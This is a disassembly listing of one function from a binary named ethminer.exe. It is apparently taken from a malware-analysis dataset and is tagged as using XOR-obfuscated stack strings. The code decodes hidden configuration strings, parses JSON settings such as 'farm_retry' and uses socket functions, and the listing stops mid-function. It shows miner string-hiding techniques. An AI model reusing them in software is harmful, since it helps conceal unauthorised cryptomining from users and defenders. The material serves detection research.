Function at 0x14007d630
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x490
movaps xmmword [r11 - 0x28], xmm6
movaps xmmword [r11 - 0x38], xmm7
mov rax, qword [0x1403b8550]
xor rax, rsp
mov qword [rsp + 0x460], rax
xor r12d, r12d
mov r15d, r12d
mov dword [rsp + 0x50], r12d
mov qword [r11 - 0x190], 0xf
mov qword [r11 - 0x198], 7
mov rax, qword [str.UNKNOWN]
mov dword [rsp + 0x300], eax
movzx edx, word [0x140362bd4]
mov word [rsp + 0x304], dx
movzx ecx, byte [0x140362bd6]
mov byte [rsp + 0x306], cl
mov byte [r11 - 0x1a1], r12b
mov qword [r11 - 0x1b0], 0xf
mov qword [r11 - 0x1b8], 7
mov dword [rsp + 0x2e0], eax
mov word [rsp + 0x2e4], dx
mov byte [rsp + 0x2e6], cl
mov byte [rsp + 0x2e7], r12b
mov r14d, 0xa
mov dword [rsp + 0x54], r14d
mov dword [rsp + 0x58], r14d
mov dword [rsp + 0x2b0], 0x4b5e575a
mov dword [rsp + 0x2b4], 0x465a4b13
mov dword [rsp + 0x2b8], 0x4b404743
mov word [rsp + 0x2bc], 0x2e5c
mov ebx, 0x3000
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1403cad78], eax
jg 0x14007eecc
lea rdi, [0x1403cadb0]
cmp byte [0x1403cadbd], 0
je 0x14007d76d
mov rax, r12
xor byte [rax + rdi], 0x2e
inc rax
cmp rax, 0xe
jb 0x14007d760
movdqa xmm6, xmmword [0x1403678d0]
movdqa xmm7, xmmword [0x1403678b0]
mov word [rsp + 0x398], 0x2e4a
mov eax, dword [rbx]
cmp dword [0x1403cacf0], eax
jg 0x14007ef30
cmp byte [0x1403cad71], 0
je 0x14007d7df
mov rax, r12
movdqa xmm2, xmmword [str.................FZZ_]
lea rcx, [0x1403cad50]
movdqu xmm0, xmmword [rax + rcx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rcx], xmm1
add rax, 0x10
cmp rax, 0x20
jb 0x14007d7b0
cmp rax, 0x22
jae 0x14007d7df
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x22
jb 0x14007d7d2
movdqa xmm6, xmmword [0x140367840]
mov dword [rsp + 0x2a0], 0x145a4b40
mov dword [rsp + 0x2a4], 0x1716161b
mov word [rsp + 0x2a8], 0x2e17
mov eax, dword [rbx]
cmp dword [0x1403cada0], eax
jg 0x14007ef84
mov r13d, reloc.WS2_32.dll_recv
lea rcx, [0x1403cabd0]
cmp byte [0x1403cabe9], 0
je 0x14007d85d
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cabd0]
movdqa xmmword [0x1403cabd0], xmm0
mov eax, r13d
nop word [rax + rax]
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1a
jb 0x14007d850
mov qword [rsp + 0x220], rcx
movdqa xmm6, xmmword [0x140367890]
mov dword [rsp + 0x2a0], 0x714b425e
mov dword [rsp + 0x2a4], 0x4840414d
mov dword [rsp + 0x2a8], 0x5e004947
mov word [rsp + 0x2ac], 0x5e46
mov eax, dword [rbx]
cmp dword [0x1403cac10], eax
jg 0x14007efe2
lea rcx, [0x1403cac20]
cmp byte [0x1403cac3e], 0
je 0x14007d8de
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cac20]
movdqa xmmword [0x1403cac20], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1f
jb 0x14007d8d1
mov qword [rsp + 0x228], rcx
movdqa xmm6, xmmword [0x140367840]
mov dword [rsp + 0x2a0], 0x2e5a4b40
mov eax, dword [rbx]
cmp dword [0x1403cabec], eax
jg 0x14007f054
lea rcx, [0x1403cac40]
cmp byte [0x1403cac53], 0
je 0x14007d93f
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cac40]
movdqa xmmword [0x1403cac40], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x14
jb 0x14007d932
mov qword [rsp + 0x230], rcx
movdqa xmm6, xmmword [0x140367890]
mov dword [rsp + 0x2a0], 0x714b425e
mov dword [rsp + 0x2a4], 0x4840414d
mov dword [rsp + 0x2a8], 0x5e004947
mov word [rsp + 0x2ac], 0x5e46
mov eax, dword [rbx]
cmp dword [0x1403cac0c], eax
jg 0x14007f09f
lea rcx, [0x1403cad00]
cmp byte [0x1403cad1e], 0
je 0x14007d9c0
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cad00]
movdqa xmmword [0x1403cad00], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1f
jb 0x14007d9b3
mov qword [rsp + 0x238], rcx
movdqa xmm6, xmmword [str.FZZ_]
mov dword [rsp + 0x2a0], 0x1c001b1d
mov dword [rsp + 0x2a4], 0x1b14161a
mov dword [rsp + 0x2a8], 0x17171616
mov eax, dword [rbx]
cmp dword [0x1403cac54], eax
jg 0x14007f111
lea rcx, [0x1403cad80]
cmp byte [0x1403cad9c], 0
je 0x14007da3d
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cad80]
movdqa xmmword [0x1403cad80], xmm0
mov rax, r13
nop word [rax + rax]
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1d
jb 0x14007da30
mov qword [rsp + 0x240], rcx
movdqa xmm6, xmmword [0x140367890]
mov dword [rsp + 0x2a0], 0x714b425e
mov dword [rsp + 0x2a4], 0x4840414d
mov dword [rsp + 0x2a8], 0x5e004947
mov word [rsp + 0x2ac], 0x5e46
mov eax, dword [rbx]
cmp dword [0x1403cacd0], eax
jg 0x14007f174
lea rcx, [0x1403cacb0]
cmp byte [0x1403cacce], 0
je 0x14007dabe
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cacb0]
movdqa xmmword [0x1403cacb0], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1f
jb 0x14007dab1
mov qword [rsp + 0x248], rcx
movdqa xmm6, xmmword [0x1403678c0]
mov word [rsp + 0x2a0], 0x2e41
mov eax, dword [rbx]
cmp dword [0x1403cac98], eax
jg 0x14007f1e6
lea rcx, [0x1403cab90]
cmp byte [0x1403caba1], 0
je 0x14007db1e
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cab90]
movdqa xmmword [0x1403cab90], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x12
jb 0x14007db11
mov qword [rsp + 0x250], rcx
mov eax, dword [rbx]
cmp dword [0x1403cab88], eax
jg 0x14007f233
movzx eax, byte [0x1403cad4a]
test al, al
je 0x14007db8d
xor byte [0x1403cad40], 0x2e
xor byte [0x1403cad41], 0x2e
xor byte [0x1403cad42], 0x2e
xor byte [0x1403cad43], 0x2e
xor byte [0x1403cad44], 0x2e
xor byte [0x1403cad45], 0x2e
xor byte [0x1403cad46], 0x2e
xor byte [0x1403cad47], 0x2e
xor byte [0x1403cad48], 0x2e
xor byte [0x1403cad49], 0x2e
xor al, 0x2e
mov byte [0x1403cad4a], al
lea rax, [0x1403cad40]
mov qword [rsp + 0x258], rax
movdqa xmm6, xmmword [0x140367880]
mov dword [rsp + 0x2a0], 0x43414d00
mov eax, dword [rbx]
cmp dword [0x1403cada4], eax
jg 0x14007f28e
lea rcx, [0x1403cabf0]
cmp byte [0x1403cac04], 0
je 0x14007dbfd
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cabf0]
movdqa xmmword [0x1403cabf0], xmm0
mov rax, r13
nop dword [rax + rax]
xor byte [rcx + rax], 0x2e
inc rax
cmp rax, 0x15
jb 0x14007dbf0
mov qword [rsp + 0x260], rcx
mov dword [rsp + 0x2b0], 0x594f5c01
mov dword [rsp + 0x2b4], 0x601a4c01
mov dword [rsp + 0x2b8], 0x5d471e1c
mov word [rsp + 0x2bc], 0x2e5d
mov eax, dword [rbx]
cmp dword [0x1403cac08], eax
jg 0x14007f2e0
lea rcx, [0x1403cacd8]
cmp byte [0x1403cace5], 0
je 0x14007dc5e
mov rax, r12
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0xe
jb 0x14007dc51
mov qword [rsp + 0x268], rcx
movdqa xmm6, xmmword [0x140367830]
mov dword [rsp + 0x2a0], 0x1e1a1f
mov word [rsp + 0x2a4], 0x181d
mov eax, dword [rbx]
cmp dword [0x1403cadf4], eax
jg 0x14007f344
lea rcx, [0x1403cac80]
cmp byte [0x1403cac96], 0
je 0x14007dccd
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cac80]
movdqa xmmword [0x1403cac80], xmm0
mov rax, r13
nop dword [rax]
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x17
jb 0x14007dcc0
mov qword [rsp + 0x270], rcx
movdqa xmm6, xmmword [0x140367890]
mov dword [rsp + 0x2a0], 0x714b425e
mov dword [rsp + 0x2a4], 0x4840414d
mov dword [rsp + 0x2a8], 0x5e004947
mov word [rsp + 0x2ac], 0x5e46
mov eax, dword [rbx]
cmp dword [0x1403cac9c], eax
jg 0x14007f3a5
lea rcx, [0x1403cac60]
cmp byte [0x1403cac7e], 0
je 0x14007dd4e
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cac60]
movdqa xmmword [0x1403cac60], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1f
jb 0x14007dd41
mov qword [rsp + 0x278], rcx
movdqa xmm6, xmmword [0x140367850]
mov dword [rsp + 0x2a0], 0x1f1c001b
mov word [rsp + 0x2a4], 0x2e1f
mov eax, dword [rbx]
cmp dword [0x1403caba4], eax
jg 0x14007f417
lea rcx, [0x1403cabb0]
cmp byte [0x1403cabc5], 0
je 0x14007ddbd
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cabb0]
movdqa xmmword [0x1403cabb0], xmm0
mov rax, r13
nop dword [rax]
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x16
jb 0x14007ddb0
mov qword [rsp + 0x280], rcx
movdqa xmm6, xmmword [0x140367890]
mov dword [rsp + 0x2a0], 0x714b425e
mov dword [rsp + 0x2a4], 0x4840414d
mov dword [rsp + 0x2a8], 0x5e004947
mov word [rsp + 0x2ac], 0x5e46
mov eax, dword [rbx]
cmp dword [0x1403cad74], eax
jg 0x14007f471
lea rcx, [0x1403cadc0]
cmp byte [0x1403cadde], 0
je 0x14007de3e
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cadc0]
movdqa xmmword [0x1403cadc0], xmm0
mov rax, r13
xor byte [rax + rcx], 0x2e
inc rax
cmp rax, 0x1f
jb 0x14007de31
mov qword [rsp + 0x288], rcx
lea rsi, [rsp + 0x220]
lea rax, [rsp + 0x290]
mov qword [rsp + 0x80], rsi
cmp rsi, rax
je 0x14007ea1a
mov r14, qword [rsi]
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x340], 0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x14007de90
mov rdx, r14
lea rcx, [rsp + 0x340]
call fcn.140011a50
nop
mov qword [rsp + 0x330], r12
mov qword [rsp + 0x338], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x320], 0
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2c0], 0
lea r9, [rsp + 0x320]
lea r8, [rsp + 0x2c0]
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x290]
call fcn.14007a770
nop
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0x10
jb 0x14007df4c
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007df47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f4e3
call fcn.140250e10
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2c0], 0
mov rdx, qword [rsp + 0x338]
cmp rdx, 0x10
jb 0x14007dfac
inc rdx
mov rcx, qword [rsp + 0x320]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dfa6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f4e9
call fcn.140250e10
nop
mov rdx, qword [rsp + 0x358]
cmp rdx, 0x10
jb 0x14007dfef
inc rdx
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007dfea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f4ef
call fcn.140250e10
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x340], 0
mov rax, qword [rsp + 0x290]
mov qword [rax + 0x160], r12
mov qword [rax + 0x168], 0x1e8480
lea rax, [0x1403cabd0]
cmp r14, rax
je 0x14007e06e
lea rax, [0x1403cac40]
cmp r14, rax
je 0x14007e06e
lea rax, [0x1403cad80]
cmp r14, rax
je 0x14007e06e
mov r8, qword [rsi + 8]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x290]
call fcn.14007b2f0
mov rbx, rax
or r15d, 1
jmp 0x14007e1fe
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2c0], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], 0
jne 0x14007e091
mov rdx, rdi
lea rcx, [rsp + 0x2c0]
call fcn.140011a50
nop
or r15d, 2
mov dword [rsp + 0x50], r15d
mov rbx, qword [rsp + 0x290]
mov qword [rsp + 0x360], r12
mov qword [rsp + 0x368], r12
mov ecx, 0x60
call fcn.140250dd4
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x120], r12
mov qword [rsp + 0xe0], r12
lea rdx, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae rdx, qword [rsp + 0x2c0]
lea rax, [0x1403cad50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
lea rax, [rsp + 0x360]
mov qword [rsp + 0x20], rax
mov r9, qword [rsi + 8]
lea rdx, [rsp + 0x320]
mov rcx, rbx
call fcn.140078830
or r15d, 0x30
mov rcx, qword [rsp + 0x360]
mov rsi, qword [rcx + 8]
cmp byte [rsi + 0x19], 0
jne 0x14007e1dc
nop dword [rax]
mov r8, qword [rsi + 0x10]
lea rdx, [rsp + 0x360]
lea rcx, [rsp + 0x360]
call fcn.1400127a0
mov rdi, rsi
mov rsi, qword [rsi]
lea rcx, [rdi + 0x40]
call sym.ethminer.exe_public:_void___cdecl_Json::PathArgument::destructor_void____ptr64
lea rcx, [rdi + 0x20]
call sym.ethminer.exe_public:_void___cdecl_Json::PathArgument::destructor_void____ptr64
mov edx, 0x60
mov rcx, rdi
call fcn.140250e10
cmp byte [rsi + 0x19], 0
je 0x14007e190
mov rcx, qword [rsp + 0x360]
mov edx, 0x60
call fcn.140250e10
or r15d, 8
lea rbx, [rsp + 0x320]
or r15d, 4
mov rsi, qword [rsp + 0x80]
mov dword [rsp + 0x50], r15d
mov rax, qword [rbx]
mov qword [rbx], r12
mov qword [rsp + 0x60], rax
mov eax, dword [rbx + 8]
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov ecx, 0x60
call fcn.140250dd4
mov rcx, rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x70], rax
mov rax, qword [rbx + 0x10]
mov qword [rsp + 0x70], rax
mov qword [rbx + 0x10], rcx
mov rcx, qword [rsp + 0x78]
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x78], rax
mov qword [rbx + 0x18], rcx
test r15b, 4
je 0x14007e2c6
and r15d, 0xfffffffb
mov dword [rsp + 0x50], r15d
mov r8, qword [rsp + 0x330]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x330]
call fcn.1400127a0
mov edx, 0x60
mov rcx, qword [rsp + 0x330]
call fcn.140250e10
mov rbx, qword [rsp + 0x320]
test rbx, rbx
je 0x14007e2c6
mov rcx, rbx
call fcn.14006cc20
mov edx, 0x128
mov rcx, rbx
call fcn.140250e10
nop
test r15b, 2
je 0x14007e319
and r15d, 0xfffffffd
mov dword [rsp + 0x50], r15d
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0x10
jb 0x14007e319
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e313
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f4f5
call fcn.140250e10
nop
test r15b, 1
je 0x14007e37d
and r15d, 0xfffffffe
mov dword [rsp + 0x50], r15d
mov r8, qword [rsp + 0x98]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x98]
call fcn.1400127a0
mov edx, 0x60
mov rcx, qword [rsp + 0x98]
call fcn.140250e10
mov rbx, qword [rsp + 0x88]
test rbx, rbx
je 0x14007e37d
mov rcx, rbx
call fcn.14006cc20
mov edx, 0x128
mov rcx, rbx
call fcn.140250e10
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x14007ea7e
mov eax, dword [rdx + 0x20]
sub eax, 0xc8
cmp eax, 0xc7
ja 0x14007ea7e
cmp qword [rdx + 0x68], 0
je 0x14007ea7e
add rdx, 0x58
lea rcx, [rsp + 0x340]
call fcn.1400118f0
nop
cmp qword [rsp + 0x350], 0
jbe 0x14007ea3b
xor edx, edx
lea rcx, [rsp + 0xa8]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::constructor_enum_Json::ValueType____ptr64
nop
lea rcx, [rsp + 0x3a0]
call sym.ethminer.exe_public:_void___cdecl_Json::Reader::constructor_void____ptr64
nop
lea rdx, [rsp + 0x340]
lea rcx, [rsp + 0x378]
call fcn.1400118f0
mov rbx, rax
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rax + 0x10]
inc rcx
call fcn.140251710
mov rdi, rax
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14007e424
mov rcx, qword [rbx]
mov rdx, rdi
sub rdx, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14007e430
mov r8b, 1
mov rdx, rdi
lea rcx, [rsp + 0x2c0]
call fcn.14007b9a0
or r15d, 0x40
mov dword [rsp + 0x50], r15d
mov rcx, rdi
call fcn.140250e10
nop
mov rcx, rbx
call sym.ethminer.exe_public:_void___cdecl_Json::PathArgument::destructor_void____ptr64
nop
mov r9b, 1
lea r8, [rsp + 0xa8]
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x3a0]
call sym.ethminer.exe_public:_bool___cdecl_Json::Reader::parse_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_Json::Value____ptr64__bool____ptr64
movzx ebx, al
mov rdx, qword [rsp + 0x2d8]
cmp rdx, 0x10
jb 0x14007e4d2
inc rdx
mov rcx, qword [rsp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e4cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f4fb
call fcn.140250e10
test bl, bl
je 0x14007ea1f
lea rdx, str.e_94m_i
lea rcx, [rsp + 0x128]
call fcn.1400ca290
nop
mov rdx, r14
lea rcx, [rsp + 0x138]
call fcn.14004d670
nop
lea rcx, [rsp + 0x128]
call fcn.140043a10
lea rdx, str.UNKNOWN
lea rcx, [rsp + 0x378]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::constructor_char_const____ptr64____ptr64
nop
mov edi, 0x3000
mov rax, qword gs:[0x58]
add rdi, qword [rax]
mov eax, dword [rdi]
cmp dword [0x1403cab84], eax
jg 0x14007f501
movzx eax, byte [0x1403caca6]
test al, al
je 0x14007e57e
xor byte [0x1403caca0], 0x2e
xor byte [0x1403caca1], 0x2e
xor byte [0x1403caca2], 0x2e
xor byte [0x1403caca3], 0x2e
xor byte [0x1403caca4], 0x2e
xor byte [0x1403caca5], 0x2e
xor al, 0x2e
mov byte [0x1403caca6], al
lea r9, [rsp + 0x378]
lea r8, [0x1403caca0]
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xa8]
call sym.ethminer.exe_public:_class_Json::Value___cdecl_Json::Value::get_char_const____ptr64__class_Json::Value_const____ptr64____ptr64
nop
lea rdx, [rsp + 0x2c0]
mov rcx, rax
call sym.ethminer.exe_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_Json::Value::asString_void____ptr64
mov rbx, rax
lea rax, [rsp + 0x300]
cmp rax, rbx
je 0x14007e64c
mov rdx, qword [rsp + 0x318]
cmp rdx, 0x10
jb 0x14007e60a
inc rdx
mov rcx, qword [rsp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e605
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f552
call fcn.140250e10
mov qword [rsp + 0x310], r12
mov qword [rsp + 0x318], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x300], 0
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x300], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x310], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov r8, qword [rsp + 0x2d8]
cmp r8, 0x10
jb 0x14007e672
inc r8
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rsp + 0x2c0]
call fcn.140011dd0
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2c0], 0
lea rcx, [rsp + 0xe8]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
nop
lea rcx, [rsp + 0x378]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
lea rdx, str.UNKNOWN
lea rcx, [rsp + 0x378]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::constructor_char_const____ptr64____ptr64
nop
mov eax, dword [rdi]
cmp dword [0x1403cada8], eax
jg 0x14007f558
movzx eax, byte [0x1403cacef]
test al, al
je 0x14007e710
xor byte [0x1403cace8], 0x2e
xor byte [0x1403cace9], 0x2e
xor byte [0x1403cacea], 0x2e
xor byte [0x1403caceb], 0x2e
xor byte [0x1403cacec], 0x2e
xor byte [0x1403caced], 0x2e
xor byte [0x1403cacee], 0x2e
xor al, 0x2e
mov byte [0x1403cacef], al
lea r9, [rsp + 0x378]
lea r8, [0x1403cace8]
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xa8]
call sym.ethminer.exe_public:_class_Json::Value___cdecl_Json::Value::get_char_const____ptr64__class_Json::Value_const____ptr64____ptr64
nop
lea rdx, [rsp + 0x2c0]
mov rcx, rax
call sym.ethminer.exe_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_Json::Value::asString_void____ptr64
mov rbx, rax
lea rax, [rsp + 0x2e0]
cmp rax, rbx
je 0x14007e7de
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 0x10
jb 0x14007e79c
inc rdx
mov rcx, qword [rsp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007e797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f5a3
call fcn.140250e10
mov qword [rsp + 0x2f0], r12
mov qword [rsp + 0x2f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2e0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x2e0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x2f0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov r8, qword [rsp + 0x2d8]
cmp r8, 0x10
jb 0x14007e804
inc r8
mov rdx, qword [rsp + 0x2c0]
lea rcx, [rsp + 0x2c0]
call fcn.140011dd0
mov qword [rsp + 0x2d0], r12
mov qword [rsp + 0x2d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2c0], 0
lea rcx, [rsp + 0xe8]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
nop
lea rcx, [rsp + 0x378]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
mov edx, 0xa
lea rcx, [rsp + 0x378]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::constructor_int____ptr64
nop
lea r9, [rsp + 0x378]
lea r8, str.farm_retry
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xa8]
call sym.ethminer.exe_public:_class_Json::Value___cdecl_Json::Value::get_char_const____ptr64__class_Json::Value_const____ptr64____ptr64
nop
mov rcx, rax
call sym.ethminer.exe_public:_int___cdecl_Json::Value::asInt_void_const___ptr64
mov r14d, eax
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0xe8]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
nop
lea rcx, [rsp + 0x378]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
lea rcx, [rsp + 0x300]
cmp qword [rsp + 0x318], 0x10
cmovae rcx, qword [rsp + 0x300]
cmp qword [rsp + 0x310], 7
jne 0x14007e919
mov r8d, 7
lea rdx, str.UNKNOWN
call fcn.14026fc30
test eax, eax
jne 0x14007e919
lea rcx, [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0x10
cmovae rcx, qword [rsp + 0x2e0]
cmp qword [rsp + 0x2f0], 7
jne 0x14007e919
lea r8d, [rax + 7]
lea rdx, str.UNKNOWN
call fcn.14026fc30
test eax, eax
je 0x14007ea1f
movdqa xmm6, xmmword [0x1403678a0]
mov dword [rsp + 0x370], 0x2e0e4041
mov eax, dword [rdi]
cmp dword [0x1403cacf4], eax
jg 0x14007f5a9
lea rdx, [0x1403cade0]
cmp byte [0x1403cadf3], 0
je 0x14007e970
movdqa xmm0, xmmword [str.................FZZ_]
pxor xmm0, xmmword [0x1403cade0]
movdqa xmmword [0x1403cade0], xmm0
xor byte [rdx + r13], 0x2e
inc r13
cmp r13, 0x14
jb 0x14007e962
lea rcx, [0x1403b8450]
call fcn.14004d670
lea rdx, [0x140357c64]
mov rcx, rax
call fcn.14004d670
lea rcx, [rsp + 0x290]
call fcn.14007b4a0
nop
lea rcx, [rsp + 0x3a0]
call sym.ethminer.exe_public:_void___cdecl_Json::Reader::destructor_void____ptr64
nop
lea rcx, [rsp + 0xa8]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
nop
mov r8, qword [rsp + 0x358]
cmp r8, 0x10
jb 0x14007e9db
inc r8
mov rdx, qword [rsp + 0x340]
lea rcx, [rsp + 0x340]
call fcn.140011dd0
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x340], 0
lea rcx, [rsp + 0x60]
call fcn.1400759b0
nop
mov rcx, qword [rsp + 0x290]
test rcx, rcx
je 0x14007ea1a
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
jmp 0x14007eba1
lea rcx, [rsp + 0x3a0]
call sym.ethminer.exe_public:_void___cdecl_Json::Reader::destructor_void____ptr64
nop
lea rcx, [rsp + 0xa8]
call sym.ethminer.exe_public:_void___cdecl_Json::Value::destructor_void____ptr64
nop
mov rdx, qword [rsp + 0x358]
cmp rdx, 0x10
jb 0x14007ea7e
inc rdx
mov rcx, qword [rsp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007ea79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007f5f4
call fcn.140250e10
mov rdi, qword [rsp + 0x290]
lea rbx, [rdi + 0x60]
mov qword [rsp + 0x2b0], rbx
mov rcx, rbx
call fcn.14022f004
test eax, eax
jne 0x14007f5fa
lea rdx, [rdi + 0x50]
cmp qword [rdi + 0x100], 0
jbe 0x14007eadd
mov rcx, qword [rdx]
